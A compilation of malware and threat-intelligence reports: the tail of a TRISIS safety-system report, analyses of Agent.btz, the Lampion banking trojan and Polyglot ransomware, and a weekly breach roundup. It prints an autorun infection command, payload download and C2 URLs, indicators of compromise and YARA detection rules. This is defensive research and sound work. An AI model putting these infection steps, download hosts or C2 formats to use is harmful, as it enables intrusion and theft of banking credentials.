Cyber Kill Chain and either compromised the business IT network or has identified an alternative means of accessing the ICS network. Once in position, the adversary can deploy TRISIS on its target: an SIS device. TRISIS is a compiled Python script using the publicly-available ‘py2exe’ compiler. This allows TRISIS to execute in an environment without Python installed natively, which would be the case in most ICS environments and especially in SIS equipment. The script aims to change the underlying logic on a target SIS – in this case, a Schneider Electric Triconex device. Subsequent code analysis indicated the script is designed to target Triconex 3008 processor modules specifically. The executable takes its target as a command-line argument passed to it on execution. The implications of this are specifically in targeting at run-time, unless called through an additional script, and based on a review of the code, limiting TRISIS to impacting a single target per execution. The core logic alteration functionality works through a combination of four binaries that are uploaded to the target SIS: - Two embedded binary payloads within the compiled Python script. - Two additional, external binaries that are specifically referenced by name within the script but located in separate files. Dragos analysis indicates that the embedded items are used to prepare and load the external modules, which contain the replacement logic. As part of a general attack flow, an adversary would need to take the following steps to deploy and execute TRISIS. ### Implications TRISIS represents, in several ways, ‘game-changing’ impact for the defense of ICS networks. While previously identified in theoretical attack scenarios, targeting SIS equipment specifically represents a dangerous evolution within ICS computer network attacks. Potential impacts include equipment damage, system downtime, and potentially loss of life. Given these implications, it is important to ensure nuance in how the industry responds and communicates about this attack. First, adversaries are becoming bolder, and an attack on an SIS is a considerable step forward in causing harm. This requires the industry to continue its focus on reliability and safety by pursuing appropriate and measured steps towards securing industrial processes. Information technology security best practices are not necessarily appropriate to such situations, and a mission-focused approach must be taken into consideration of secondary effects. Second, the attack of an SIS cannot be taken lightly but should not be met with hype and fear. Eventually, information about this attack will leak to the media and public community. At that point, those in the industrial security community can have a nuanced conversation noting that this attack is not a highly scalable attack that has immediate repercussions to the community. The industrial asset owner, operator, and vendor community have had a significant dedication to safety and reliability, and now it is obvious that the community is taking steps forward in security. Dragos cautions the community not to use this attack to further other causes as the impact of hype can be far-reaching and crippling. TRISIS is a learning moment to push for more security but in a proper and measured way. Third, this attack does have implications for all industrial asset owners and operators that leverage SIS. The fact that Schneider Electric’s Triconex was targeted should have no bearing on how defenders respond to this case. This was a clear attack on the community. There can be no victim blaming or product shaming that is reasonable nor will it make the community better. The implication is that adversaries are targeting SIS and defenders must live in this reality presented adapting as appropriate to ensure safety and reliability of the operations our society depends upon. ### Defending Against TRISIS SIS system implementation should begin with relevant vendor recommendations. The recommendations surrounding methods on network isolation are especially critical to preserving SIS autonomy. In the case of TRISIS, Schneider Electric has provided the following recommendations for Triconex Controllers: - Safety systems should always be deployed on isolated networks. - Physical controls should be in place so that no unauthorized person would have access to the safety controllers, peripheral safety equipment, or the safety network. - All controllers should reside in locked cabinets and never be left in the “Program” mode. - All Tristation terminals (Triconex programming software) should be kept in locked cabinets and should never be connected to any network other than the safety network. - All methods of mobile data exchange with the isolated safety network such as CDs, USB drives, etc. should be scanned before use in the Tristation terminals or any node connected to this network. - Laptops that have connected to any other network besides the safety network should never be allowed to connect to the safety network without proper sanitation. Proper sanitation includes checking for changes to the system, not simply running anti-virus software against it (in the case of TRISIS, no major anti-virus vendor detected it at the time of its use). - Operator stations should be configured to display an alarm whenever the Tricon key switch is in the “Program Mode.” It is important to understand that TRISIS represents only the second stage of the ICS Cyber Kill Chain. This report does not infer or suggest what stage 1 of the attack may be and instead focuses on what has been confirmed through capability analysis. This puts defenders in the position of not stopping activities prior to impact but during or after the SIS impact. Keep in mind there is a wide range of defenses to detect and stop the attacker prior to exposing human safety and equipment during stage 1 and earlier stage 2 phases. ### Contact Information 1745 Dorsey Road Hanover, MD 21076 USA dragos.com | info@dragos.com
# Agent.btz - A Threat That Hit Pentagon According to this publication, the senior military leaders reported the malware breach incident that affected the U.S. Central Command network, including computers both in the headquarters and in the combat zones. The threat involved in this incident is referred to as Agent.btz. This is a classification from F-Secure. Other vendors name this threat mostly as Autorun. Some of the aliases assigned to this threat might seem confusing. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. This post is about F-Secure-classified Agent.btz – the one that was involved in the aforementioned incident. At the time of this writing, ThreatExpert system has received and processed several different samples of this threat – further referred to as Agent.btz. All these builds exhibit common functionality. ## Infection Vector Agent.btz is a DLL file. When loaded, its exported function `DllEntryPoint()` will be called automatically. Another exported function of this DLL, `InstallM()`, is called during the initial infection stage, via a command-line parameter for the system file `rundll32.exe`. The infection normally occurs via a removable disk such as a thumb drive (USB stick) or any other external hard drive. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and create an `autorun.inf` file with an instruction to run that file. When a clean computer recognizes a newly connected removable drive, it will (by default) detect the `autorun.inf` file on it, open it, and follow its instruction to load the malware. Another infection vector occurs when a clean computer attempts to map a drive letter to a shared network resource that has Agent.btz on it and the corresponding `autorun.inf` file. It will (by default) open the `autorun.inf` file and follow its instruction to load the malware. Once infected, it will do the same with other removable drives connected to it or other computers in the network that attempt to map a drive letter to its shared drive infected with Agent.btz – hence, the replication. The `autorun.inf` file it creates contains the following command to run `rundll32.exe`: ``` rundll32.exe .\\[random_name].dll,InstallM ``` ## Functionality When Agent.btz DLL is loaded, it will decrypt some of the strings inside its body. Agent.btz file is not packed. The strings it decrypts are mostly filenames, API names, registry entries, etc. After decrypting its strings, Agent.btz dynamically retrieves function pointers to the following `kernel32.dll` APIs: `WriteProcessMemory()`, `VirtualAllocEx()`, `VirtualProtectEx()`. It will need these APIs later to inject malicious code into the Internet Explorer process. Agent.btz spawns several threads and registers window class "zQWwe2esf34356d". The first thread will try to query several parameters from the values under the registry key: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\StrtdCfg ``` Some of these parameters contain such details as timeout periods, flags, or the name of the domain from which the additional components can be downloaded. The first thread will spawn 2 additional threads. One of them will wait for 5 minutes and then attempt to download an encrypted binary from the domain specified in the parameters. For example, it may attempt to download the binaries from these locations: ``` http://biznews.podzone.org/update/img0008/[random digits].jpg ``` or ``` http://worldnews.ath.cx/update/img0008/[random digits].jpg ``` The downloaded binary will be saved under the file name `$1F.dll` into the temporary directory. Once the binary is saved, Agent.btz signals its threads with "wowmgr_is_loaded" event, saves new parameters into the registry values under the key "StrtdCfg", loads the Internet Explorer process, decrypts the contents of the downloaded binary, injects it into the address space of Internet Explorer, and then spawns a remote thread in it. At the time of this writing, the contents of the binary are unknown as the links above are down. Thus, it’s not known what kind of code could have been injected into the browser process. The only assumption can be made here is that the remote thread was spawned inside the Internet Explorer process in order to bypass firewalls in its attempt to communicate with the remote server. ## Installation Agent.btz drops its copy into `%system%` directory by using a random name constructed from the parts of the names of the DLL files located in the `%system%` directory. It registers itself as an in-process server to have its DLL loaded with the system process `explorer.exe`. The CLSID for the in-process server is also random - it is produced by `UuidCreate()` API. This threat may also store some of its parameters by saving them into the values `nParam`, `rParam`, or `id` under the system registry key below: ``` HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashImage ``` On top of that, Agent.btz carries some of its parameters in its own body – stored as an encrypted resource named `CONFIG`. Agent.btz locates this resource by looking for a marker `0xAA45F6F9` in its memory map. ## File wmcache.nld The second spawned thread will wait for 10 seconds. Then, it’ll save its parameters and some system information it obtains in an XML file `%system%\wmcache.nld`. The contents of this file are encoded by XOR-ing it with a specific mask. Below is the decoded fragment of the XML file, provided as an example: ```xml <?xml version="1.0" encoding="unicode"?> <Cfg> <Ch> <add key="Id" value="3024688254" /> <add key="PVer" value="Ch 1.5" /> <add key="Folder" value="img0008" /> <add key="Time" value="29:11:2008 18:44:46" /> <add key="Bias" value="4294967285" /> <add key="PcName" value="%ComputerName%" /> <add key="UserName" value="%UserName%" /> <add key="WinDir" value="%windir%" /> <add key="TempDir" value="%temp%" /> <add key="WorkDir" value="%system32%" /> <add key="Cndr" value="0" /> <add key="List" value=""> <add key=" 0" value="2" /> </add> <add key="NList" value=""> </add> </Ch> ... </Cfg> ``` Besides the basic system information above, Agent.btz contains the code that calls `GetAdaptersInfo()` and `GetPerAdapterInfo()` APIs in order to query the network adapter’s IP and MAC address, IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers. The collected network details are also saved into the log file. ## File winview.ocx The second spawned thread will log threat activity into the file `%system32%\winview.ocx`. This file is also encrypted with the same XOR mask. Here is the decrypted example contents of that file: ``` 18:44:44 29.11.2008 Log begin: 18:44:44 Installing to C:\WINDOWS\system32\[random_name].dll 18:44:44 Copying c:\windows\system32\[threat_file_name].dll to C:\WINDOWS\system32\[random_name].dll (0) 18:44:44 ID: {7761F912-4D09-4F09-B7AF-95F4173120A6} 18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6} 18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}\InprocServer32\ 18:44:44 Set Value C:\WINDOWS\system32\[random_name].dll 18:44:44 Creating SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\ 18:44:44 Native Id: 00CD1A40 18:44:44 Log end. ``` The thread will be saving its parameters and system information into the aforementioned encrypted XML file in the loop – once every 24 hours. ## File mswmpdat.tlb The original thread will then attempt to start 2 processes: `tapi32d.exe` and `typecli.exe` – these attempts are logged. Whenever Agent.btz detects a newly connected removable disk, it will also log the device details into the same log file `%system%\mswmpdat.tlb`. The contents of this log file are encrypted the same way – here is a decrypted fragment of it: ``` 18:44:45 29.11.2008 Log begin: 18:44:45 Creating ps C:\WINDOWS\system32\tapi32d.exe (2) 18:44:45 Creating ps C:\WINDOWS\system32\typecli.exe (2) 18:44:45 Log end. 19:02:48 29.11.2008 Log begin: 19:02:49 Media arrived: "D:" Label:"" FS:FAT SN:00000000 19:02:49 Log end. ``` It is not clear what these 2 files are: `tapi32d.exe` and `typecli.exe` - the analyzed code does not create them. It is possible, however, that the missing link is in the unknown code it injects into Internet Explorer which can potentially download those files. ## Files thumb.db When Agent.btz detects a new drive of the type `DRIVE_REMOVABLE` (a disk that can be removed from the drive), it attempts to create a copy of the file `%system%\1055cf76.tmp` in the root directory of that drive as `thumb.db`. In contrast, if the newly connected drive already contains the file `thumb.db`, Agent.btz will create a copy of that file in the `%system%` directory under the same name. It will then run `%system%\thumb.db` as if it was an executable file and then delete the original `thumb.db` from the connected drive. The analyzed code does not create `1055cf76.tmp`, but if it was an executable file downloaded by the code injected into Internet Explorer (as explained above), then it would have been passed into other computers under the name `thumb.db`. Note: an attempt to run a valid `thumb.db` file, which is an OLE-type container, has no effect. ## Files thumb.dd and mswmpdat.ocx Agent.btz is capable of creating a binary file `thumb.dd` on a newly connected drive. The contents of this file start from the marker `0xAAFF1290` and are followed by the individual CAB archives of the files `winview.ocx` (installation log), `mswmpdat.tlb` (activity log), and `wmcache.nld` (XML file with system information). When Agent.btz detects a new drive with the file `thumb.dd` on it (system info and logs collected from another computer), it will copy that file as `%system%\mssysmgr.ocx`. This way, the locally created files do not only contain system and network information collected from the local host, but from other compromised hosts as well.
# December 23 – 29, 2019 ## YOUR CHECK POINT THREAT INTELLIGENCE REPORT ### TOP ATTACKS AND BREACHES - Check Point researchers have detected a phishing campaign impersonating the Royal Bank of Canada and other Canadian banks. The attack contained emails sent to targeted customers that use look-alike domains to appear genuine. The emails included PDF attachments, with links to phishing websites that asked for the victim’s bank account credentials. - The U.S. Coast Guard Marine (USCG) has reported that a Maritime Transportation Security Act (MTSA) regulated facility has been hit by Ryuk ransomware, entering the system via an email phishing campaign allowing the attackers to access and encrypt significant IT files, preventing the facility’s access to them. The attack took down the facility for over 30 hours. Check Point SandBlast provides protection against this threat. - Alaskan airline carrier RavnAir Group has experienced an undisclosed cyber-attack on their company’s IT network, forcing them to ground flights and disconnect their entire Dash 8 aircraft maintenance system. The company had to cancel 6 flights, affecting 260 passengers during the holiday season. - IoT equipment provider Wyze has suffered a server leak exposing online details of 2.4 million users. The leak occurred from an exposed online Elasticsearch database system. - UAE-based company “ToTok”, a mobile messaging and voice call app, has been used by the government as a surveillance tool. Authorities were using it to spy on its users, tracking their conversations and movements due to lack of end-to-end encryption security. The app, used in UAE and most of the Middle East, has been removed from Apple and Google’s online stores. - A new Trojan called “lampion”, a banking Trojan that aims to hijack sensitive information, has been spreading via a phishing campaign impersonating the Portuguese government finance and tax authorities. Check Point Anti-Virus blade provides protection against this threat (lampion.TC.x). ### VULNERABILITIES AND PATCHES - Google Chrome browser has been affected by Magellan 2.0 vulnerabilities. The latest update to Chrome (version 79.0.3945.79) has patched 5 vulnerabilities that stem from SQLite cloud enabling RCE. These vulnerabilities can be exploited remotely via a crafted HTML page to run an array of malicious attacks. - NVIDIA released a new version of Geforce Experience 3.20.2, to patch a vulnerability that allowed an attacker with local system access to corrupt a system file when GameStream is enabled. Successful exploit may lead to denial of service or escalation of privileges. - A critical vulnerability in Citrix Application Delivery Controller (NetScaler ADC) and Citrix Gateway (NetScaler Gateway), tracked as CVE-2019-19781, could be exploited to access companies’ networks. 80,000 companies are at risk worldwide. Citrix has published a guide to mitigate the threat. - A zero-day vulnerability in Dropbox for Windows allows attackers to perform privilege escalation and escalate from a user to system authority. The vulnerability resides in the DropBoxUpdater service, which is responsible for keeping the client application up to date. A patch has not been released yet. ### THREAT INTELLIGENCE REPORTS - A new P2P Botnet named “Mozi” is targeting Netgear, D-Link, and Huawei routers using weak telnet passwords. The botnet is related to the Gafgyt malware as it reuses some of its code. The botnet’s main purpose is to conduct DDoS attacks. Check Point Anti-bot blades provide protection against these threats (Botnet.Win32.Mozi-P2P.TC.a). - Researchers have reported that the Chinese state-sponsored group ATP20 has been bypassing the RSA secure ID two-factor authentication (2FA) in a recent wave of attacks targeting government entities and managed service providers (MSPs). Analysts claimed the attack was conducted using a stolen software token, although the attack details remain unclear. - Russia's national internet infrastructure, RuNet, has been tested and successfully disconnected from the internet, and Internet traffic was re-routed internally. In addition, the government tested several disconnection scenarios, including a scenario that simulated a hostile cyber-attack from a foreign country.
# Targeting Portugal: A New Trojan ‘Lampion’ Has Spread New trojan called ‘Lampion’ has spread using template emails from the Portuguese Government Finance & Tax during the last days of 2019. The last days of 2019 were the perfect time to spread phishing campaigns using email templates based on the Portuguese Government Finance & Tax. SI-LAB noted that Portuguese users were targeted with malscam messages that reported issues related to a debt of the year 2018. In detail, the emails are related to the Rendimento de Pessoas Singulares – IRS (annual tax declaration), and any citizen who has received the message can be misled by criminals, as the end of the year is the right time to discuss issues within this context. The malware was named ‘Lampion’ as this is the name used as part of its internal name. Regarding a broad analysis, it looks like the Trojan-Banker.Win32.ChePro family, but with improvements that make hard its detection and analysis. In brief, when the victim clicks on the links available in the email body, the malware is downloaded from the online server. The downloaded file is a compressed file (.zip) called: FacturaNovembro-4492154-2019-10_8.zip. After extracting the file, three files are presented. The file “FacturaNovembro-4492154-2019-10_8.vbs” is the first stage of the Lampion’s infection chain. This is a Visual Basic Script (VBScript) file that acts as a dropper and downloader. It downloads the next stage from the compromised server available on the Internet on an AWS S3 bucket. The trojan Lampion uses anti-debug and anti-vm techniques. The use of a commercial protector known as VMProtector 3.x and specially crafted codes make it difficult to analyze both in a sandbox environment or manually. After the VBScript file is executed, two files are downloaded: P-19-2.dll and 0.zip. The P-19-2.dll file (Lampion) is a PE File that is executed during a VBScript execution when the affected computer starts. That file invokes the second file, 0.zip, which is a DLL file with additional code on C2 and how the trojan gets details from the user’s computers. This DLL contains a name in the Chinese language with the following target message for Portugal: “Your group of Portuguese suckers”. Lampion trojan (P-19-2.dll) was sent to VirusTotal by SI-LAB, and 12 from 71 engines classified it as malware. This is a clear signal that most of the antivirus engines don’t detect yet the malware signature. Details from the computer’s disk, opened windows, clipboard, and banking credentials are gathered and sent to the C2 available on the Internet. The malware only runs if the DLL (inside the 0.zip file) is available in the same directory where it is executed. Users who receive emails of this nature should be aware as these files have a low detection rate and will extract sensitive details including banking credentials from victims’ computers. For Portuguese citizens, special attention is needed during this holiday season as this is an ongoing target campaign. ## Technical Analysis Several emails were received by Portuguese users about a new campaign related to the Rendimento de Pessoas Singulares – IRS (annual tax declaration) during the last days of 2019. Two examples can be seen below. At first glance, just the URLs and their description are different between both templates. The URLs are responsible for downloading a zip file that contains three files. ### Why Lampion? As observed, the malware icon is a “lampion”, and the original name is “Lampion”. It seems a reference to a Japanese lampion. ### Lampion Trojan Malware – The 1st Stage **Threat name:** FacturaNovembro-4492154-2019-10_8.zip **MD5:** e7bdce5505ee263530dea04c2fdc661f **SHA1:** d4927477b71cbf540a894cf2c5849209b64c92af This is the zip file that contains the malware’s first stage downloaded from compromised servers online. It is a zip file, with a low detection rate, and it contains three other files. The files are as follows: 1. FacturaNovembro-4492154-2019-10_8.pdf 2. FacturaNovembro-4492154-2019-10_8.vbs 3. Politica de Protecao de Dados – ST-8 Only the second file (FacturaNovembro-4492154-2019-10_8.vbs) has malicious code capable of infecting victims’ computers. In contrast, files [1] and [3] are harmless and are only used as a way of inducing the victims to open the VBS document. The PDF file [1] is just a PDF file with some information contained inside, and without malicious links or activity to collect details on the victim’s computer. **Threat name:** FacturaNovembro-4492154-2019-10_8.vbs (Lampion – 1st stage) **MD5:** 3350e74a4cfa020f9b256194eae25c12 **SHA1:** 7f5960ff9feff30d2f4a4c1598dd22632ceea0cb This file has a detection rate of 25/58 and is classified as a Trojan Agent. It is, in fact, a trojan downloader/dropper as it downloads the next stage from the Internet and also drops a new VBS file that will be executed whenever the victim’s computer starts. It looks like an improved form of the Trojan-Banker.Win32.ChePro family. Looking at the file, it is obfuscated, but in this case, the technique used by criminals was simple: just add commentaries (junk blocks) between the lines of the malicious code to make it confused. After a few rounds of code cleanup (deobfuscation), the final code comes up. Before going into detail, the high-level diagram with the overall behavior of the file is presented. In detail, the first stage works as described below: - It depends on the initial victim’s action. - The VBS file downloads additional files from the Internet (the 2nd stage – the Lampion itself). - Two files are downloaded to the AppData Windows folder, and a new VBS file is also created with the code that will execute the trojan every time the victim’s computer starts. - A .lnk file is created on the Windows StartUp folder to execute the trojan (a persistence technique). - Finally, the victim’s computer is forced to reboot and the trojan malware starts its execution. ### Digging into the Details – Lampion 1st Stage The 1st stage has random functions to generate random names that will be used to rename the next malicious files created on the victim’s machine. The Wscript object is created that will be used to create a .lnk file on the Windows StartUp folder. All the malware source code is commented on the next images. The next figure has the function to decrypt the URLs from which the 2nd stage of malware is downloaded. Next, all the shortcuts (.lnk) files are deleted from the operating system StartUp folder. After that, all the VBS files from the operating system StartUp folder are also removed to prevent other files from starting with the OS. A randomly named folder is created in the Windows AppData directory that will keep the malicious files. Now it is time to download the 2nd stage from the Internet. Two files are obtained from two AWS S3 buckets. The URLs are encoded with specific strings. To get the result of plain-text URLs, SI-LAB is keeping the decryption code available on GitHub. As observed, the output shows us two AWS-hosted addresses that contain two malicious files, namely: - hxxps://fucktheworld.s3.us-east-2.amazonaws.com/0.zip - hxxps://sdghsuidhoidoghsdc19c.s3.us-east-2.amazonaws.com/P-19-2.dll The 0.zip file is a DLL with additional code loaded by PE File P-19-2.dll during its execution. It is the PE file that will be executed each time the infected machine starts. This file is overly large (32 MB in size), with a lot of trash to make it difficult to detect. Continuing to the last part of the 1st stage, the VBS file, in the last phase a VBS file is created in the AppData folder (C:\Users\user\AppData\Roaming\lkuuxelnxqy.vbs). Also, a .lnk is created in the Windows StartUp folder (C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lkuuxelnxqy.lnk) which will then execute the next malware stage (P-19-2.dll). Finally, WScript.Shell runs the created VBScript file, the victim’s computer is forced to restart, and the malware itself (P-19-2.dll) runs on the infected machine. ### Lampion Trojan – 2nd Stage (After the Persistence) **Threat name:** P-19-2.dll **MD5:** 18977c78983d5e3f59531bd6654ad20f **SHA1:** 941d03715af25f7bfedaaf86081ebc2046b4b019 From the first submission, we noticed that the threat was recent and unique in VirusTotal. This file first appears as a DLL, but it is a PE File. As noted, 12 of 71 AV engines classified the file as malware. The file is extremely large (32 MB), with a lot of junk allowing it to evade antivirus engines. ### The Malware’s Protection As explained below, malware is protected by VMProtect 3.x which makes it difficult to analyze even through a manual approach. VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze and crack the software. Besides that, VMProtect generates and verifies serial numbers, limits free upgrades, and much more. After some rounds, we found that it is protected with the VMProtect 3.x. VMProtect has three protection modes: Mutation, Virtualization, and “Ultra” (both methods combined). Mutation mutates the assembly code to make automated analysis harder. The resulting mutated code varies drastically per compilation. On the other hand, Virtualization translates the code into a special format that only a special virtual machine can run. Another detail is two sections identified in PE File (vmp0 and vmp1), which contain the packed binary code that will later be devirtualized at runtime, and also has the EP (entry point) where the binary will be executed first. As shown, there are two sections in binary (vmp0 and vmp1) with high entropy that are known as a result of VMProtector. Also, the EP is outside of the standard location. Now it is on: .vmp1. In detail, the malware was developed in Delphi. The IDE Embarcaredo was used to support its development. ### Disassembling – Deep Inside By disassembling it, it is possible to get a binary dump by indicating the potential OEP (original entry point). Although part of the binary code remains obfuscated and protected, through this technique, it was possible to get some details about the inner structure of the malware. The extracted file has its partial IAT messed up and the name of each function does not appear because its respective virtual addressing is necessary to convert it to a raw addressing. This is a result of the VMProtector 3.x. During the static analysis, we identified some functions such as HideFromDebugger and IsDebuggerPresent, and even the library SBIEDLL.DLL which aims to detect if the program is running in a virtual environment. ### Lampion – Dynamic Analysis At the moment, the file 0.zip has not been used (the second one that was downloaded). When the Lampion is running, it will try to read the 0.zip file from the same directory where it is executing (AppData, in this case). The 0.zip file was not found, and a popup message is presented. The malware terminates its execution. By fixing this detail, we can validate that malware can actually read the file. The 0.zip file is a compressed file with a DLL inside it with additional code. But the file is protected with a password. Only the 2nd stage (Lampion) has that password inside. To get details about the library inside the 0.zip file, we analyzed the 2nd stage and identified the right moment the file is unzipped to obtain the password hardcoded from memory (as it is obfuscated). After extracting the files, we can see that its name has Chinese characters. Through the translated message “Your group of Portuguese suckers” we can conclude that this threat is targeting Portuguese citizens. Again, this file is also protected with VMProtector 3.x. This can be observed in the sections of the 0.zip file. As shown, most of the file content and EP address are located in the vmp01 section. That DLL contains part of the trojan code. Some of the available functions are: - WNetUseConnectionW: Makes a connection to a network resource. - WNetGetConnectionW: Retrieves the name of the network resource associated with a local device. - WNetAddConnection2W: Makes a connection to a network resource and can redirect a local device to the network resource. - SHGetFolderPathW: Gets the path of a folder identified by a CSIDL value. - FilterSendMessage: Sends a message to a kernel-mode minifilter. - FilterConnectCommunicationPort: Opens a new connection to a communication server port. - DoThisBicht: Function invoked when the DLL file is loaded. - CryptUIDIgCertMgr: Displays a dialog box that allows users to manage certificates. - CallFormPrincipal: Contains the source-code logic about keylogger and C2. In detail, we can examine all the malware operations while we open a browser for accessing a home banking website (the malware is activated during the HTTPS operation because the certmgr.exe is launched). An interesting detail found on “CallFormPrincipal” is the request method and C2 IP address. During malware execution, we verify that it collects data from clipboard, disk, browsers, and sends the details via a request to the C2 server available on the Internet. ### Lampion – C2 Portal On server C2, a portal is available that we did not have access to; however, it was possible to collect some interesting details. An interesting indicator is that this banking trojan does not have a high detection rate and can easily run and make persistent on victims’ computers. For example, the URL where the victim data is sent (the POST request) is not identified as malicious by the antivirus agents at the moment of writing this report. As shown, the login page of this panel can be accessed and a username and password are required. Based on some paths available on the server-side, we can find that this is a portal already known and shared in the past by David Montenegro along his analysis. We contacted Amazon Web Services (AWS) to decommission the domains and C2 server before publishing the article, ensuring that the threat has been contained in a good way and by preserving the victim’s information. Nonetheless, malicious endpoints are still active at the moment of writing this report. ### Lampion – Mitre Att&ck Matrix **Indicators of Compromise (IOCs)** **URLs:** - rebrand[.]ly/mmvk36?=NOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJB - hxxp[:]//100.26.189.49/PY/App.php?=5wzpz2e7xglkzmh - hxxps[:]//fucktheworld.s3.us-east-2.amazonaws.com/0.zip - hxxps[:]//sdghsuidhoidoghsdc19c.s3.us-east-2.amazonaws.com/P-19-2.dll - hxxp[:]//18.219.52.4/PT/VaiPostaProPai.php **Hashes:** - e7bdce5505ee263530dea04c2fdc661f (FacturaNovembro-4492154-2019-10_8.zip) - deb80a47496857e24c0bc57873b25707 (Politica de Protecao de Dados - ST-8) - 51fbca86a499c55ce31179fc36e0d889 (FacturaNovembro-4492154-2019-10_8.pdf) - 3350e74a4cfa020f9b256194eae25c12 (FacturaNovembro-4492154-2019-10_8.vbs) - 18977c78983d5e3f59531bd6654ad20f (P-19-2.dll | P-19.2.exe - Lampion) - 76eed98b40db9a9d3dc1b10c80e957ba1 (你的一群葡萄牙人的吸盘) **C2:** - hxxp[:]//18.219.52.4/PT/VaiPostaProPai.php - hxxp[:]//18.219.52.4/PT/index.php - hxxp[:]//18.219.52.4/PT/admin.php - hxxp[:]//18.219.52.4/PT/png/pt.png - hxxp[:]//18.219.52.4/PT/SO/ - hxxp[:]//18.219.52.4/PT/painelADM.php - hxxp[:]//18.219.52.4/PT/painel.php **Yara Rules:** ```yara rule Lampion_VBS_File_Portugal { meta: description = "Yara rule for Lampion Portugal - December version" author = "SI-LAB" last_updated = "2019-12-28" tlp = "white" category = "informational" strings: $lampion_a = {53 65 74 20 76 69 61 64 6f 20 3d 20 63 75 7a 61} $lampion_b = {76 69 61 64 6f 2e 57 69 6e 64 6f 77 53 74 79 6c} condition: all of ($lampion_*) } rule Lampion_DLL_Portugal { meta: description = "Yara rule for Lampion Portugal - December version" author = "SI-LAB" last_updated = "2019-12-28" tlp = "white" category = "informational" strings: $lampion_a = {5468 6973 4269 6368 7400 4669 6c74 6572} condition: all of ($lampion_*) or hash.md5(0, filesize) == "76eed98b40db9a9d3dc1b10c80e957ba1" } rule Lampion_malware_portugal { meta: description = "Yara rule for Lampion Portugal - December version" author = "SI-LAB" last_updated = "2019-12-28" tlp = "white" category = "informational" strings: $lampion_a = {3f 3f 3f 3f 3f 3f 3f 74 61 3f 3f 3f 3f 3f 3f 00} condition: all of ($lampion_*) or hash.md5(0, filesize) == "18977c78983d5e3f59531bd6654ad20f" } ``` Thank you to all who have contributed: - Corsin Camichel @cocaman - David Montenegro @CryptoInsane Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher, and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt. In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT, and security in Active Directory networks. He is also a Freelance Writer and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
# Polyglot – the fake CTB-locker Cryptor malware programs currently pose a very real cybersecurity threat to users and companies. Organizing effective security requires the use of security solutions that incorporate a broad range of technologies capable of preventing a cryptor program from landing on a potential victim’s computer or reacting quickly to stop an ongoing data encryption process and roll back any malicious changes. However, what can be done if an infection does occur and important data has been encrypted? Infection can occur on nodes that, for whatever reason, were not protected by a security solution, or if the solution was disabled by an administrator. In this case, the victim’s only hope is that the attackers made some mistakes when implementing the cryptographic algorithm or used a weak encryption algorithm. ## A brief description The cryptor dubbed Polyglot emerged in late August. According to the information available to us, it is distributed in spam emails that contain a link to a malicious RAR archive. The archive contains the cryptor’s executable code. Here are some examples of the links used: - hXXp://bank-info.gq/downloads/reshenie_suda.rar - hXXp://bank-info.gq/downloads/dogovor.rar When the infected file is launched, nothing appears to happen. However, the cryptor copies itself under random names to a dozen or so places, writes itself to the autostart folder and to TaskScheduler. When the installation is complete, file encryption starts. The user’s files do not appear to change (their names remain the same), but the user is no longer able to open them. When encryption is complete, the cryptor changes the desktop wallpaper (interestingly, the wallpaper image is unique to each victim) and displays the ransom message. ### The cryptor’s main window The user is offered the chance to decrypt several files for free. After this, the user is told to pay for file decryption in bitcoins. The cryptor contacts its C&C, which is located on the Tor network, for the ransom sum and the bitcoin address where it should be sent. If the ransom is not paid on time, the cryptor notifies the user that it’s no longer possible to decrypt their files and that it is about to ‘self-delete’. ## Imitating CTB-Locker Initially, this cryptor caught our attention because it mimics all the features of another widespread cryptor – CTB-Locker (Trojan-Ransom.Win32.Onion). The graphical interface window, language switch, the sequence of actions for requesting the encryption key, the payment page, the desktop wallpapers – all of them are very similar to those used by CTB-Locker. The visual design has been copied very closely, while the messages in Polyglot’s windows have been copied word for word. ### The similarities do not stop there Even the encryption algorithms used by the cybercriminals have clearly been chosen to imitate those used in CTB-Locker. | Algorithms used for file encryption | Polyglot | CTB-Locker | |-------------------------------------|----------|------------| | File content is packed into a ZIP archive and then encrypted with AES-256. | Yes | Yes | | ECDH (elliptic curve Diffie-Hellman), curve25519, SHA256. | Yes | Yes | | File extensions are not changed. | Yes | No | | 5 files are decrypted for free as a demo. Their decryption keys are stored in the registry. | Yes | No | | C&C is in the Tor network, communication is via a public tor2web service. | Yes | Yes | | Bitwise NOT operation. | Yes | No | That said, we should note the following: a detailed analysis has revealed that Polyglot was developed independently from CTB-Locker; in other words, no shared code has been detected in the two Trojans (except the publicly available DLL code). Perhaps the creators of Polyglot wanted to disorient the victims and researchers, and created a near carbon copy of CTB-Locker from scratch to make it look like a CTB-Locker attack and that there was no hope of getting files decrypted for free. ## C&C communication The Trojan contacts the C&C server located on Tor via a public tor2web service, using the HTTP protocol. Prior to each of the below data requests, a POST request is sent with just one parameter: “live=1”. ### Request 1 At the start of operation, the Trojan reports the successful infection to the C&C. The following data is sent to the C&C: ```json { "ip": "xxx.xxx.xxx.xxx", "method": "register", "uid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "version": "10f", "info": "Microsoft (build xxxx), 64-bit", "description": " ", "start_time": "14740xxxxx", "end_time": "0", "user_id": "5" } ``` This data block is passed through a bitwise NOT operation, encoded into Base64 and sent to the C&C in a POST request. ### Request 2 When the Trojan has finished encrypting the user’s data, it sends another request to the C&C. The content of the request is identical to that of request 1 